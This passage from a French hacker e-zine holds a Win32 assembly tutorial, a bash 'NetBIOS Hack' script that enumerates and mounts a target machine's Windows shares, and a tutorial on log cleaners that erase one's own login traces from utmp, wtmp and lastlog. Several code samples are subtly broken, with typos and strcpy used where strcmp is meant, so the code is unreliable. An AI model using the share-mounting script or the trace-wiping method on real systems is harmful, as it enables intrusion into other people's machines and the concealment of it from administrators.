Sinon, si vous voulez effacer toute présence de Penelope dans la base de
registre après l'avoir essayé, vous pouvez utiliser le programme 'Clean' qui
est spécialement fait pour ça. Voilà, c'est fini !
EOF
---------------------------------------------------------------------------------------------------
IV. Programmation Win32asm Part1. Disk-Lexic
---------------------------------------------------------------------------------------------------
[ Introduction ]
Salut à tous !
C'est mon premier article pour IOC Magazine et j'ai choisi de vous parler d'un sujet
que l'on ne rencontre pas assez souvent dans les textes français ...
Souvenez vous , au départ était DOS, le programmeur en assembleur était heureux, il
pouvait écrire partout ou il voulait, en mémoire,sur les ports d'entrée-sorties, sur
les périphériques, il était maitre absolu de sa machine et on aurait pu croire que
rien ne l'arrêterait.
Et c'est alors que Microsoft à crée Windows. Et voilà que tout était changé, sous
l'oppression du mode protégé, il ne peut plus faire tout ce qu'il désire, car la
firme de Redmond a décidé de mettre des restrictions un peu partout. C'est ainsi que
beaucoup se sont mis à programmer dans des langages de haut niveau. Depuis, de nombreux
étudiants ne se doutent même plus de ce qui se passe réellement au sein de leurs machines.
Et certains osent même dire qu'apprendre l'assembleur ne sert plus à rien. Contre ceux-là
je me révolte et préfèrent rejoindre ces qulques irréductibles qui on choisi de ne pas subir
cette dictature. Nous continuerons à vouloir tout savoir sur le déroulement des programmes,
nous continuerons à vouloir tout apprendre sur la structure de vos fichiers. Nous ne vous
laisserons pas nous aveugler derrière vos tonnes de couches logicielles que vous interposez
entre l'utilisateur et la machine.
J'ai opté pour une démarche progressive et j'essairais tant que possible de la respecter.
Cela étant dit , Vous remarquerez que je ne suis pas parti du point zéro. Je n'ai pas
l'intention de vous apprendre les bases de la programmation en assembleur, cela a été fait
des centaines de fois. Pour cela je vous conseille de lire les e-zines 'reporter' et 'prograzine'.
Je vous laisserais aussi le soin de vous renseigner sur les API windows par vous mêmes car je
pense qu'il y a déjà suffisamment de documentation sur le sujet.
Je vais donc tenter de vous initier à la programmation win32asm à l'aide du compilateur TASM.
Parce que j'en ai assez que les informations ne concernent en majorité que MASM.
Bonne lecture et j'espère que je permettrais à beaucoup d'apprendre et de progresser .
Allez , c'est parti, jetons nous à l'eau !
[ Let's Go ]
Vous aurez besoin :
-du compilateur TASM 5.0 (trouvable sur internet, essayez www.crackstore.com)
-de tasmedit (disponible sur mon site, c'est plus agréable que wordpad ou EDIT)
-d'ub déboggueur (Softice ou Turbo debugger ) . Ca sert toujours !
-de la liste des API windows ( trouvable sur internet )
-de rigueur
-de discipline
-de patience
-de sommeil ( à ne pas négliger. Si si J'y tiens)
Avant toutes choses, essayez de vous débarasser des concepts que vous appris en
assembleur en mode réel. L'asm win32 suit des règles qui lui sont propres.
Pour commencer, si on veut faire des programmes win32, il est nécessaire de déclarer
et de disposer des fonctions et les strucures spécifiques à l'utilisation des
directives Win32 . Ces fonctions sont contenues dans le fichier 'WIN32.INC' .
Pour cela, copiez le fichier 'c:\tasm\examples\wap32\win32.inc' vers le répertoire
'c:\tasm\include\'
On commence donc par la façon dont on déclare les fonctions.
Ceci est exemple :
extrn BeginPaint : PROC
Faites attention à bien respecter la casse, car les programmes win32 y sont sensibles !
Pour appeler cette fonction , on fait :
Call BeginPaint
Je dois vous préciser qu'il y a deux types de caractères dans les programmes win32,
ANSI et UNICODE .
Pour utiliser des chaines du type ANSI , faites suivre les fonctions agissant sur les
chaines par un A, et pour UNICODE, par un W . example :
extrn TextOutA : PROC
extrn GetWindowTextW : PROC
Ensuite, il faut définir les types et strctures des données
(Il serait nécessaire d'avoir une référence des API windows
que vous pourrez trouver dans VisualC++ par exemple).
Donc, on définit les strucures de la façon suivante:
MSGSTRUCT struc
msHWND UINT ?
msMESSAGE UINT ?
msWPARAM UINT ?
msLPARAM UINT ?
msTIME ULONG ?
msPT ULONG 2 dup(?)
MSGSTRUCT ends
Il faut à présent définir les types de données:
HDC equ <dd>
Les fonctions win32 nécessitent pour la majorité d'entre elles de recevoir des arguments .
TASM 5.0 possède une fonction qui permet de le faire à la façon des langages de
haut niveau :
CALL FUNC, Parms
Mais on peut qussi le faire manuellement
PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage
Bon c'est pas compliqué, on met les paramètres sur la pile dans l'ordre inverse
à leur appel. Pour mieux saisir, regardez la façon dont se fait l'appel de cette fonction en
langage C :
GetMessage(&Msg, 0, 0, 0) ;
Toutes les valeurs de retour des fonctions sont mises dans le registre EAX.
Ici, la fonction GetMessage retourne un ZERO lorsqu'elle se termine .
MessageLoop:
PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage
test eax,eax ; Doit on quitter la boucle ?
jz short EndProgram ; Si oui, on quitte le programme
push offset Msg
CALL TranslateMessage
push offset Msg
CALL DispatchMessage
jmp short MessageLoop
EndProgram:
push [Msg.wParam]
Call ExitProcess ; Fin du programme
Bon , là nous avons vu quelques briques de base en programmation Win32asm.
Nous allons désormais voir comment construire nos programmes .
La première chose à faire , et que vous devez déjà savoir, c'est de déclarer le type de processeur
pour lequel est destiné le programme.
.386 ou
.486 ou encore
.586
La différence est dans le fait que déclarer, par exemple, l'utilisation du processeur 486 vous
permettra d'utiliser les instructions spécifiques au 486( et qui sont donc non disponibles sous
le 386,. Logique non !! ) ;
Les instructions du 386 sont en général largement suffisante.
Ensuite , nous définissons le modèle de mémoire que l'on va utiliser.
.MODEL FLAT, STDCALL
Je vous parlerais des modèles mémoire dans un futur article.
Bon maintenant, on peut mettre nos include.
include WIN32.INC
C'est ce qui permettra à l'éditeur de liens ( TLINK32 dans notre cas ) d'importer les fonctions
et les structures qui nous interressent ( Je rappelle que lors d'une compilation, toutes les
fonctions externes à notre code source sont 'liées et compilées' lors de l'édition de lien ) .
Bon, continuons ! C'est au tour des variables et des constantes de prendre place dans notre
programme .
.data
Titre db "Ceci est le titre de mon beau programme",0
Et le code !
..code
extrn ExitProcess: Proc
extrn BeginPaint: Proc
DEBUT :
; notre code
end DEBUT ; fin du prog
Pour les données, voici ce dont nous aurons besoin :
Titre db "Titre de la fenetre",0
NonClasse db "Fenetre",0
Msg MSGSTRUCT <?> ; La structure du message
WC WNDCLASS <?> ; La classe de la fenêtre
hwnd dd ? ; Handle sur une fenêtre
hInstance dd ? ; Handle sur une instance
On démarre notre code par un appel à GetModuleHandle.
Ca retourne un module, qui est l'équivalent de HINSTANCE .
push long 0
CALL GetModulehandle
mov [hInstance], eax ; On vient de récupérere l' instance.
Une fois en possession de notre hInstance, on veut aussi avoir la classe .
Un appel à RegClass et hop !
CALL RegClass
En faisant une procedure , on aura un code un peu plus propre
en ce qui concerne notre bloc WinMain .
Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0
push long IDI APPLICATION ; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax
push long IDC_ARROW ; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax
push long BLACK_BRUSH ;Un fond d'écran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName
push offset WC
call RegisterClass ; On enregistre notre fenêtre
RET
ENDP
Nous devons à présent créer la fenêtre.
call CreateWind ; Crée la fenêtre qu'on a précedemment définie.
Ici aussi on peut faire une procedure séparée pour avoir un WinMain plus clair.
CreateWind PROC
push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW ;Style de fenêtre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
; Les options suivantes concernent CreateWindowEx
; Il s'agit du type fenêtre étendue
call CreateWindowEx ; Crée la fenêtre
mov [hwnd], eax ; handle de la fenêtre parent retourné par CreateWindowEx
RET
ENDP
Maintenant, on fait appel à ShowWindow et UpdateWindow
push long SW_SHOW
push [hwnd]
call ShowWindow
push [hwnd]
call UpdateWindow
Ceci va donc creer et afficher la fenêtre sur l'écran.
N'oublions que nous sommes en programmation évenementielle
et que l'on doit gérer la boucle des messages dans WinMain.
Je me permet alors de faire un petit rappel sur la programmation evenementielle selon
windows.
On a une sorte de grosse boucle qui attend qu'on lui demande d'effectuer des actions tant
que l'on ne lui ordonne pas de s'arrêter.
En fait vous avez probablement déjà fait de la programmation evenementielle sans forcément
le savoir. Mais , si, quand vous faites des menus à choix en mode texte. C'est du genre :
Tant qu'on ne quitte pas faire :
-si 'enregistrer' alors executer la fonction 'Save'
-si 'charger' alors executer la fonction 'Load'
-si 'imprimer' alors executer la fonction 'Print'
-si 'patati patata alors etc, etc, etc.............
-si 'quitter' alors executer la fonction 'Exit'
Fin de la grosse boucle.(Le programme se termine).
Ben pour windows c'est à peu près pareil
Les actions sont saisies dans une structure MSG que voici
struct MSG
{
HWND hWnd ; // Handle de la fenêtre
UINT message ; // Id du message
WPARAM wParam ; // Paramètre du message (32bits)
LPARAM lParam ; // Paramètre du message
DWORD time ; // Heure de mise en file d'attente
POINT pt ; // Position de la souris
}
alors ça resssemble à ceci :
Attent une entrée dans MSG :
Si on a une entrée pour MSG, on la met dans la file d'attente
Si message est QUIT, alors on sort du programme
Sinon
On Transforme le message en binaire via la fonction TranslateMessage(&MSG)
Puis on execute notre message via la fonction DispatchMessage(&MSG)
Fermeture de boucle .
Et voilà , rien de bien sorcier !
Et en assembleur , ça nous donne ceci :
MessageLoop :
push long 0
push long 0
push long 0
push offset Msg
call GetMessage ; Appel de la fonction GetMessage
test eax,eax ; A t'on le message 'exit'
jz short EndProgram ; si oui , on va à la fin du programme
push offset Msg
call TranslateMessage ; sinon, on traduit le message en binaire
push offset Msg
call DispatchMessage ; et on execute le message !
jmp short MessageLoop ; On continue notre manège jusqu'à plus soif !
EndProgram: ; Ca , c'est au cas ou on a plus soif justement ;-)
push [Msg.wParam]
call ExitProcess ; A tchao !
Comme vous avez pu le voir , ça ressemble bien au schéma général que
je vais fait juste avant.
Donc , au final, notre cher petit programme ressemble à ce qui suit :
.486p
.MODEL FLAT, STDCALL
include WIN32.INC
.DATA
Msg MSGSTRUCT <?> ; La structure Message
WC WNDCLASS <?> ; La classe Windows
hwnd dd ? ; Handle de fenêtre
hInstance dd ? ; Handle de l'Instance
.CODE
START :
push long 0
call GetModule
mov [hInstance], eax ;On prend l'instance
call RegClass ; Enregistrement de la Class
call CreateWind ; Création de la fenêtre
push long SW_SHOWNORMAL
push [hwnd]
call ShowWindow ; Montre la fenêtre
push [hwnd]
call UpdateWindow ; Rafraichit la fenêtre
MessageLoop:
push long 0
pus long 0
push long 0
push offset Msg
call GetMessage ; Appel de la fonction GetMessage
text eax,eax ; Doit on sortir ?
jz short EndProgram ; oui, alors on s'éclipse
push offset Msg
call TranslateMessage ; Non, on Traduit le message en binaire
push offset Msg
call DispatchMessage ; et on execute notre action
jmp short MessageLoop ; Ce tant qu'on pas recu l'ordre de sortir
EndProgram: ; On an choisi d'en finir
push [Msg.wParam]
call ExitProcess ; On a fini
;On est à la fin de WinMain
Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0
push long IDI APPLICATION ; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax
push long IDC_ARROW ; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax
push long BLACK_BRUSH ;Un fond d'écran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName
push offset WC
call RegisterClass ; On enregistre notre fenêtre
RET
ENDP
CreateWind PROC
push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW ;Style de fenêtre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
; Les options suivantes concernent CreateWindowEx
; Il s'agit du type fenêtre étendue
call CreateWindowEx ; Crée la fenêtre
mov [hwnd], eax ; handle de la fenêtre parent retourné par CreateWindowEx
RET
ENDP
END START ;Fin du fichier
Vous pensez peut être qu'on en a fini , hein , Et bien non !
Il se peut que les appels
call RegClass et
call CreateWind
renvoient une erreur, et ce parce que la fenêtre n'a pas été correctement enregistrée.
Et bien il nous suffit de tester si eax est égal à 0, et si c'est le cas, de faire appel
à ExitProcess avec 0 en paramètre.
call RegClass
text eax,eax ; on vérifie qu'il n'y a pas d'erreur
jnz short NO_ERROR
push long 0
call ExitProcess
NO_ERROR:
call CreateWind ; Crée la fenêtre
test eax,eax ; On vérifie qu'il n'y a pas d'erreur
jnz short WINDOW_CREATED
push long 0
call ExitProcess
WINDOW_CREATED:
....
....
....
Et je suppose que vous vous dites , oui, c'est bien beau , on a crée une
fenêtre , mais notre programme , il ne fait encore rien !
Ca vient , ça vient .
La patience est une vertu qui s'offre à celui qui sait attendre.
Et bien les actions que l'on va envoyer à notre fenêtre s'appellent des callbacks .
Voici comment cela se fait :
WndProc PROC USES ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD,
lparam:DWORD
; vous placez le code ici
ENDP
Un tout piti exemple de code :
mov eax, [Msg]
cmp eax, WM_CREATE
je W_CREATE
push [lParam]
push [wParam]
push [Msg]
push [hwnd]
call DefWindowProc ; procedure par défaut
RET
W_CREATE:
; du code
xor eax, eax
RET
Ah , j'allais oublier, pour compiler tout ça !
Vous trouverez avec TASM un makefile pour WAP32 (c'ad Windows application 32 bits)
dans TASM\EXAMPLES\WAP32\MAKEFILE .
Copiez le là ou se trouve le source de cotre programme
changez la ligne
NAME = WAP32
par
NAME = Nomdevotreprogramme
Plus loin, vous trouverez ceci :
OBJS = $ (NAME) .obj
DEF = $ (NAME).def
et bien sous ces deux lignes vous pouvez ajouter des ressources si vous en
disposez par la ligne suivante
RES = $ (NAME) .RES
A chaque fois , vous remplacer $ (name) par le nom de votre programme.
N'oubliez pas que toutes les composantes doivent avoir le même nom.
par exemple : toto.asm, toto.res, toto.rc, etc...)
Vous copier WAP32.DEF dans le même répertoire que votre code source
et vous le renommer en nomdevotreprogramme.def .
Vous faites un MAKE -b
ou un MAKE -b DEBUG (Pour avoir les informations de déboggage)
Pour linker :
tlink32 /Tpe /aa /c $ (LINKDEBUG) $ (OBJS), $ (NAME),, $ (IMPORT), $ (DEFS), $ (RES)
Attention : ne mettez pas $ (RES) si vous n'avez de ressources
[ Conclusion ]
Voilà, ça y est, c'est fini ... On poursuivra la prochaine fois !
Disk-Lexic
www.disk-lexic.fr.st
----------------------------------------------------------------------------------------------
V. Petit Script Utile MeiK
----------------------------------------------------------------------------------------------
Cet article est pour les 3l33t h4x0r5 qui h4x3n7 les W1nD0w5 Us3rs avec le fameux NetBIOS.
Je ne vais pas refaire un article là dessus, pour ça, vous aurez qu'à regarder les articles
des autres zines qui en parlent. Si vous êtes sur un système UNIX et que vous ne comprenez
rien à SAMBA, j'ai fait ce petit script qui vous sera très utile. Vous aurez besoin de SAMBA
et de NBTSCAN. Pour les pauv' trisomiques qui savent pas ce qu'est SAMBA, c'est un ensemble
d'utilitaires qui permettent de partager des fichiers en réseau local et entre autres de voir,
mounter et utiliser des ressources Windows. C'est le même principe que NetBIOS, mais en plus
performant et moins buggé si vous voulez. NBTSCAN est un programme qui vous permet d'interroger
le NetBIOS d'une machine Windows et d'obtenir son nom NetBIOS, son adresse MAC et son nom
d'utilisateur. Ces deux programmes peuvent être trouvés sur freshmeat.net.
Voici le script :
<-- COUPEZ ICI -->
#!/bin/bash
echo --------------------------------------
echo NetBIOS Hack v1.0 par MeiK
echo --------------------------------------
echo
echo
echo Entrez l'adresse IP:
read IP
nbtscan $IP
echo
echo Entrez le nom NetBIOS:
read NAME
smbclient -L $NAME -I $IP
echo
echo Entrez le nom du partage a monter:
read SHARE
smbmount //$NAME/$SHARE /mnt -o ip=$IP
echo
echo --------------------------------------
<-- COUPEZ ICI -->
Voilà, et surtout, ne faîtes pas trop chier le monde avec ça !!
------------------------------------------------------------------------------------------------
A ceux qui seraient déçus ... MeiK
------------------------------------------------------------------------------------------------
J'écris cette lettre à ceux qui se demandent pourquoi je n'ai quasiment pas écrit
pour ce numéro, et je ne vais pas y aller par mille chemins:
Je suis impliqué dans d'autres choses que le groupe IOC, ce qui me demande quand
même pas mal de temps. Une grande partie est en rapport direct avec mon site. D'ailleurs,
si vous vous demandez pourquoi il n'y a quasiment rien dessus, c'est parce que je
le re-ouvrirais quand je l'aurais entièrement terminé. Vous pourrez vous tenir au courant
de l'évolution par le biais du site du groupe.
Aussi, si je n'ai pas fait trop d'articles, c'est aussi à cause du manque de
participation de vous, lecteurs. Si vous nous disiez le genre d'articles dont
vous avez envie, on saurait ce qu'on doit écrire.
Pour pallier à ce problème, j'ai décidé d'organiser mes articles
sous forme de dossiers ; à chaque numéro (à partir du #4), mes articles seront
sur le même thème. J'ai par exemple décidé qu'au #4 je parlerai uniquement de
sécurité informatique pure et simple sous Linux: autrement dit, vous ne trouverez
rien en rapport avec d'autres systèmes ou d'autres sujets. Voici les sujets que
j'ai décidé d'aborder (liste non exhaustive et pas dans l'ordre):
- Sécurité sous Linux
{
Introduction à Linux
Fonctionnement de Linux
Sécurisation
Tests
}
- Fichiers Password
{
Structure
Fonctionnement
Cracking de passwds
Tests de crackers
}
- Buffer Overflows
{
Programmation C
Programmation ASM
Bases systèmes
Exploits
Explications
Exemples
Exploitation
}
- Systèmes d'exploitation
{
Définitions
Quelques systèmes d'exploitation
Programmation d'OS avec le Flux OS Toolkit
}
- Denial of Service (DoS)
{
Définition
Nuke
Flood
Vrai Plantage
Protection
}
- Firewalls & IDS
{
Définitions
Utilisation de IPChains ou IPTables
Utilisation de LIDS
Programmation de Firewall
}
Voilà, cette liste n'est pas exhaustive, et pas dans l'ordre. Je pense que pour couronner
le tout, comme j'ai du le préciser dans chaque section, je mettrais une partie d'application
des connaissances là ou j'expliquerai comment réaliser un outil en particulier. Par exemple,
j'expliquerai comment programmer un cracker de pass, un firewall, un OS... sans donner de code
source dans le magazine (faudra le télécharger à part).
Voilà.
-----------------------------------------------------------------------------------------
VI. Log Cleaners : Concepts et Programation Neofox
-----------------------------------------------------------------------------------------
[ Introduction ]
Dans ce article, nous allons aborder le fonctionnement d'un log cleaner classic
et expliquer les différentes notions utiles à sa réalisation ; on verra ensuite
des méthodes de nettoyage plus preformantes et les notions de C sur lesquelles
elles s'appuient.
++++ | Partie I : Fonctionnement standard | ++++
=> Concept de base
=> Les fonctions C
=> Illustration
=> Critiques
[ Avertissement ]
Je ne vais pas revenir ici sur le rôle de chaque fichier de log.
En effet, d'une part le rôle de utmp/wtmp/lastlog est bien connu
de tous, d'autre part, le nom, le rôle et la position des autres
fichiers de log, varient en fonction de l'OS. Je ne vais pas non
plus en rapeller le fonctionnement vu la simplicité de la chose.
On passe donc directement à la suite.
A. Le Concept :
________________
[ Comment un cleaner efface vos traces ]
Nous allons nous concentrer sur le nettoyage de utmp, wtmp et lastlog.
Vous vous connectez à une machine X, au compte "toto", depuis "source.com".
Une entrée est donc ajoutée aux fichiers utmp qui a loggé votre présence,
à wtmp qui enregistre les détails de la connection, et à lastlog.
Alors, comment est-ce qu'un log cleaner efface vos traces ?
Eh bien, en fait, tout dépend du log cleaner comme nous le verrons plustard,
mais en règle générale, le prog commençe par ouvrir le un fichier, disons, utmp,
puis il prend la première entrée et la plaçe dans une structure prédéfinie.
Il compare alors le champ "name" de cette structure ; si ce champ ne correspond pas
au nom d'utilisateur que vous avez entré en argument, c'est que l'entrée n'est pas
celle que vous voulez effaçer. Dans ce cas, le prog vide la structure puis la remplit
avec la seconde entrée du fichier. Il compare à nouveau le champ "user" et ainsi de
suite. Si en revanche le champ "user" correspond, alors le prog en déduit que c'est
l'entrée que vous voulez effaçer. Il bourre alors la structure avec des "0". Il crée
ensuite un décalage en arrière dans le fichier wtmp en cours de lecture, de manière
à se retrouver pile au début de l'entrée à effaçer. Il imprime ensuite le contenu de
la structure ( des 00000 ) par dessus l'ancienne entrée révélant votre présence. Puis
il referme le fichier. L'entrée que vous vouliez effaçer a donc été écrasée par une
suite de "0", et le fichier en question ne contient plus traçe de votre présence.
On récapitule pour que tout soit clair :
¤ ouverture du fichier en lecture/écriture.
¤ la premiere entrée est plaçée dans une structure.
¤ comparaison des champs de la structure avec les arguments.
¤ la structure est remplie de 0 si l'entrée est la bonne.
¤ décalage vers l'arrière dans le fichier ouvert.
¤ ecriture dans le fichier par dessus l'entrée originale.
¤ fermeture du fichier.
[ Les commandes who et last ]
Comme wtmp ne peuvent pas être lus directement, vous devez avoir recours
à la commande "last" pour afficher la liste des dernières connections.
Le mode de fonctionnement est le même pour les deux autres fichiers. La commande
"who" ou "w" permet d'afficher le contenu de utmp ; de la même manière que pour
wtmp, la suite de 0 recouvrant vos traces n'est pas prise en compte par "who" lors
de l'affichage des entrées. Notez que dans le cas de wtmp, nous ne voulons pas
effaçer toutes les connections de l'utilisateur "toto" mais seulement la dernière,
celle correspondant à notre connection à ce compte. C'est donc uniquement la dernière
entrée pour cet user qui devra être effaçée de wtmp. Nous allons voir les fonctions
de C mises en oeuvre pour effectuer le "nettoyage".
B. Programmation :
__________________
Ouvrir un fichier en lecture/écriture, vous savez faire - avec la fonction open()
et le flag O_RDWR - donc on ne vas pas s'y attarder plus longtemps. D'autres fonctions
en revenche méritent quelques explications.
[ Les structures ]
Il y a deux types de structures à connaître pour comprendre la suite ;
il s'agit de "utmp" et "lastlog". La première structure est utilisée à
la fois pour traiter les entrées de utmp et celles de wtmp ; en effet,
les champs de cette structure sont adaptés aussi bien pour les entrées
du premier fichier que pour celles du second. La structure de type
"lastlog" quant à elle, ben rien de spécial, sinon qu'elle sert à
reçevoir les entrées de /var/log/lastlog. Voici un exemple simplifée
de ces structures :
struct utmp {
char *ut_user;
char *ut_host;
char *ut_time;
}
struct lastlog {
char *ll_host;
}
Les champs ut_user contiendront le nom d'user de la personne connectée,
les champs ut_host/ll_host, le nom d'hôte de la machine cliente et ut_time, la
date et l'heure de la connection.
[ bzero() ]
Le rôle de la fontction bzero() est de remplir un bloc d'octets de 0.
Voici sa syntaxe :
#include <string.h>
void bzero (void *pointeur, int n);
bzero met a zero les n premiers octets pointés "pointeur".
Le pointeur peut trés bien pointer vers une structure de
type utmp par exemple, ce qui donnerait :
int size;
struct utmp u;
size = sizeof(u);
bzero (&u, size);
Il y a cela dit une autre fonction capable d'assurer le
même rôle : memeset();
[ memset() ]
Comme bzero(), memset() peut remplir une structure de 0, mais
aussi d'autres données de type int. Sa syntaxe :
#include <string.h>
memset (void *s, int c, int n);
Ici, memset() remplit les n premiers octets pointés par s, avec
l'octet "n". De la même manière, on peut lui faire remplir une
structure de "0". Prenons l'exemple d'une structure lastlog :
int size;
struct lastlog last;
size = sizeof(last);
memset(&last, 0, size);
L'effet est le même que celui obtenu à l'aide de bzero().
[ lseek() ]
La fonction read() vient de lire la première entrée d'un de nos trois fichiers
de log, et l'a plaçée dans la structure appropriée. bzero() a rempli cette
structure de 0. Nous voullons copier la suite de 0 par dessus l'ancienne entrée
qui vient d'être lue. Il faut donc "rembobiner", reculer la "tête de lecure/écriture"
au début de l'entrée conçernée. Voici la syntaxe de lseek() :
#include <sys/types.h>
#include <unistd.h>
lseek (int fd, int n, int flag);
Ici, "fd" désigne le descripteur de fichier pointant sur le fichier ouvert
en lecture/écriture ; "n" est la taille en octets du décalage que l'on souhaite
créer ; enfin, "flag" désigne l'action à effectuer.
Plusieurs types d'acction sont possibles :
¤ SEEK_SET => Place la tête de lecture/écriture à n octets à partir du début du fichier.
¤ SEEK_CUR => Avance la tête de lecture/écriture de n octets.
¤ SEEK_END => Place tête de lecture/écriture à la fin du fichier + n octets.
Ces flags sont venus remplaçer les 3 anciens flags que voici :
¤ L_SET => Donne "n" comme la nouvelle position de la tête dans le fichier ( = SEEK_SET ).
¤ L_INCR => Incrémente la position courrante de n octets ( = SEEK_CUR ).
¤ L_XTND => Déplace la tête de n octets à partir de la fin du fichier, et peut
de cette façon en augmenter la taille ( = SEEK_END ).
Cela dit, nous utiliserons les nouveau flags ; nous n'en utiliseront même
qu'un seul : SEEK_CUR. Ce dernier fait avançer la tête de lecutre/écriture
de n octets. Seulement, comme nous l'avons précisé, nous voulons reculer dans
le fichier. On va donc déplaçer la tête avec le flag SEEK_CUR de -n octets.
[ write() ]
Nous venons de reculer dans le fichier ouvert et la tête de lecture/écriture se trouve
maintenant au début de l'entrée à effaçer. La structure dans laquelle a été plaçé l'entrée
est remplie de 0. Nous voulons remplaçer l'entrée du fichier par la suite de 0, ce qui
revient à écrire le contenu de la structure dans le fichier, par dessus l'entrée.
On va utiliser write() ; sa syntaxe est la suivante :
#include <unistd.h>
write (int fd, char *buf, size);
"fd" est le descripteur de fichier et "buf" le buffer contenant les données de taille
"size" à écrire en direction de fd. Dans notre cas, les données à écrire sont contenues
dans la structure, ce qui va donner :
int fd;
struct utmp u;
size = sizeof(u);
write (fd, &u, size);
Voila, l'entrée correspondant à votre connection est mainenant remplaçée par
une suite de 0. Nous allons voir avec une petite illustration l'action respective
de chaque commande.
[ strcmp() et strncmp() ]
La fonction strcmp() ( = "string compare" ) sert à comparer deux chaines de
type char. Si ces 2 chaines sont égales, elle retourne 0. La fonction
strncmp() quant à elle, a le même rôle si ce n'est qu'elle compare les
"n" premiers octets de ces deux chaines. Certains cleaners utilisent la
seconde, nous verrons plustard pourquoi. Ces fonctions sont simples et
trés courantes, aussi les avez vous surement déja utilisées.
Dans un souci d'exhaustivité, voici la syntaxe de strcmp() :
#include <string.h>
strcmp(chaine1, chaine2);
En cas d'erreur, cette fonction retourne -1 et si les chaines ne
correspondent pas, c'est une valeur < 0 qui est renvoyée. On va
donc gérer l'erreur :
if(strcmp(chaine1, chaine2)!=0){
fprintf(stderr,"Les chaines ne sont pas égales !\n");
exit(1);
}
Les cleaners se servent de cette fonction pour comparer le
champ ut_name de la structure utmp, avec le nom d'utilisateur
dont vous voulez effaçer les traçes. Le nom en question est
généralement entré en arguement :
struct utmp u;
if(strcpy(u.ut_name,argv[1])==0){
fprintf(stdout,"L'entrée lue dans la structure utmp est la bonne\n");
fprintf(stdout,"On l'effaçe!\n");
}
C. Illustration :
_________________
|
v = la tête de lecture/écriture.
A = l'entrée à effaçer.
B = l'entrée suivante.
| position de la tête au départ, structure vide.
v
Ouverture du fichier : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
| la structure contient AAA...
La première entrée est lue <_____lecture______>v
et plaçée dans la strucutre : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
| la structure contient maintenant 000...
bzero remplit la structure V
avec des 000000 : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
| la tête est en position et la strucure contient toujours 000...
On recule la tête v
avec lseek() : AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
write() écrit le contenu |
de la structure à la plaçe v
de l'ancienne entrée : 00000000000000000000BBBBBBBBBBBBBBBBBBBBBBBB
J'espère que vous avez à présent une idée claire de la manière dont un log cleaner
standard gère les fichiers utmp/wtmp/lastlog. Mais nous allons voir, que cette méthode
est perfectible.
D. Critiques :
______________
[Zap2 zappé ]
La méthode dont je viens de vous parler est celle de Zap2. On ouvre le fichier,
on met la première entrée dans une structure, on cherche la bonne entrée, on
bourre la structure de 0, on se décale, on copie le contenu de la structure,
et on ferme le fichier. Simple, efficace, mais détectable ...
En effet, si un vérificateur d'intégrité tourne sur la machine, celui-ci peut
se baser sur la présence suspecte d'une chaine de zéros dans un fichier de log
pour alerter de la présence d'un visisteur indésirable.
Zap2 se fait vieux, d'autres ont pris la relève.
- | Partie II : Nouvelle Méthode | -
=> Fonctionnement
=> Programmation
A. Fonctionnement :
___________________
[ La relève ]
Ils s'apellent vanish, cloack, ou hideme et sont plus performant que Zap2 sur
deux points : d'une part, car ils traitent plus de fichiers ( prise en charge
de utmpx/wtmpx, messages, maillog, secure, xferlog ) et d'autre part, car ils
utilisent une méthode de nettoyage plus discrète comme nous allons le voir.
Je voudrais préciser un détail avant d'aller plus loin :
le fait que ces cleaners plus récents nettoyent plus de fichiers, est à la
fois un point positif et négatif ; posifit car vos traces seront effaçées
plus en profondeur, mais négatif puisque cela vous cantonne à un OS bien précis.
Ils prennent en charge maillog et secure, super, c'est parfait pour linux ...
mais si on se trouve sous IRIX, ça nous sert pas à grand'chose, vu que sous cet
OS, il n'y a ni de fichier "secure" ni de "messages" d'ailleurs, les rôles de
ces fichiers étant assurés par "SYSLOG".
Si vous voulez utiliser un de ces cleaners sous un OS différent de celui pour lequel
ils ont été pensés, vos traçes ne seront effaçées que de utmp/wtmp/lastlog, ce qui
n'est déja pas si mal me direz vous ; cela reviendrait au même que d'utiliser Zap2,
la méthode de nettoyage mise à part. Ce que j'essaye de vous dire avec plus ou moins
de succès, c'est qu'il vaut mieux utiliser un log cleaner qui se limite à utmp/wtmp/
lastlog, lorsque vous êtes sur un système "exotique" pour lequel il n'y a pas de cleaner
adapté, et nettoyer manuellement les autres fichiers spécifiques à cet OS.
Wipeout est à mon avis un bon compromis entre polyvalence et qualité de nettoyage.
[ L'idée ]
Nous voulons que les fichiers de log ne contienne pas traçe de notre connection.
En somme, aucune entrée ne nous derrange dans ces fichies à part la notre.
Deux solutions : soit on supprime l'entrée en l'écrasant, soit on garde toutes
